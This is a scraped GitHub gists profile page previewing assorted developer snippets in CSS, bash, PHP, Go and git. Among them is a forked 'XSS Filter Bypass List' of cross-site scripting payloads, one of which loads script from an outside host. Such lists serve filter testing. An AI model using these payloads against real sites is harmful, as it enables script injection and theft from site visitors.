Skip to content

Instantly share code, notes, and snippets.

View chlp's full-sized avatar
🤠

Aleksei Rytikov chlp

🤠
View GitHub Profile
@chlp
chlp / shri.js
Last active August 29, 2015 14:24 — forked from verkholantsev/shri.js
/**
* Реализация API, не изменяйте ее
* @param {string} url
* @param {function} callback
*/
function getData(url, callback) {
var RESPONSES = {
'/countries': [
{name: 'Cameroon', continent: 'Africa'},
{name :'Fiji Islands', continent: 'Oceania'},
@chlp
chlp / bootstrap_responsive_text-align.css
Last active August 13, 2017 12:47
bootstrap responsive text-align
@media (max-width: 767px) {
.text-xs-left {
text-align: left !important;;
}
.text-xs-right {
text-align: right !important;
}
#!/bin/bash
translit() {
local NAME=${*:-$(cat)};
local TRS;
TRS=$(sed "y/абвгдезийклмнопрстуфхцы/abvgdezijklmnoprstufxcy/" <<< "$NAME")
TRS=$(sed "y/АБВГДЕЗИЙКЛМНОПРСТУФХЦЫ/ABVGDEZIJKLMNOPRSTUFXCY/" <<< "$TRS")
TRS=${TRS//ч/ch};
TRS=${TRS//Ч/CH} TRS=${TRS//ш/sh};
TRS=${TRS//Ш/SH} TRS=${TRS//ё/jo};
@chlp
chlp / symmetric-encode-decode.php
Created December 4, 2018 16:21
Example of usage OpenSSL symmetric encoding and decoding with AES-256-CBC on php and from command line
<?php
// ENCRYPTION
$method = 'AES-256-CBC';
$secret = 'my secret';
$key = 'test';
$hex_key = (bin2hex($key)); // example 74657374
$length = openssl_cipher_iv_length($method);
$iv = openssl_random_pseudo_bytes($length);
// $iv = hex2bin("047ed7c4aaf0069daa06b633b86aff67");
@chlp
chlp / cpt_transfers_collection.php
Last active December 19, 2018 15:00
collect all cpt transfers transactions (ETH) from block number
<?php
$currentBlock = 6430271;
$fileName = 'transactions.csv';
file_put_contents($fileName, "txhash;from;to;timestamp;amount\r\n");
$max_iters = 999;
$txhashes = [];
$tx_count = 0;
while (--$max_iters) {
echo "Progress block: $currentBlock count: $tx_count (iterations limit: $max_iters)\r";
$out = '';
<?php
$fileName = 'balances.csv';
file_put_contents($fileName, "address;balance\r\n");
$addresses_str = "0x1c1f7cf92e3fd0cc449ef08724a6c59c06a33c9c
0xaba2f30af702f3d250a54566bf840bdbcfd8b05c
0xf9f3bf7fdfd156fa73c18e3b1b9780981a8227dc
0xab5f64fbad42c114ba6d80bd3818d68d9b85ecb4
0x2243211fd15243a273fa23a3271d0c28a40a1dbb
@chlp
chlp / xxsfilterbypass.lst
Created January 23, 2019 07:14 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@chlp
chlp / server.go
Last active April 4, 2019 13:10
go webserver with file uploading
// chlp 2019
// go run server.go
package main
import (
"bytes"
"fmt"
"io"
"net/http"
@chlp
chlp / git_branch_rename.sh
Last active April 9, 2019 12:39
git rename origin
git checkout old_name
git branch -m new_name
git push origin -d old_name
git push -u origin new_name
@chlp
chlp / replace_serialized_data.php
Created May 7, 2019 14:22
php change str_replace inside serialized data and fix it
<?php
$change_from = 'old_string';
$change_to = 'new_string_new_length';
$serialized = file_get_contents('serialized_data.txt');
$serialized = str_replace($change_from, $change_to, $serialized);
function fix_str_length($matches) {
$string = $matches[2];
$right_length = strlen($string); // yes, strlen even for UTF-8 characters, PHP wants the mem size, not the char count
return 's:' . $right_length . ':"' . $string . '";';
}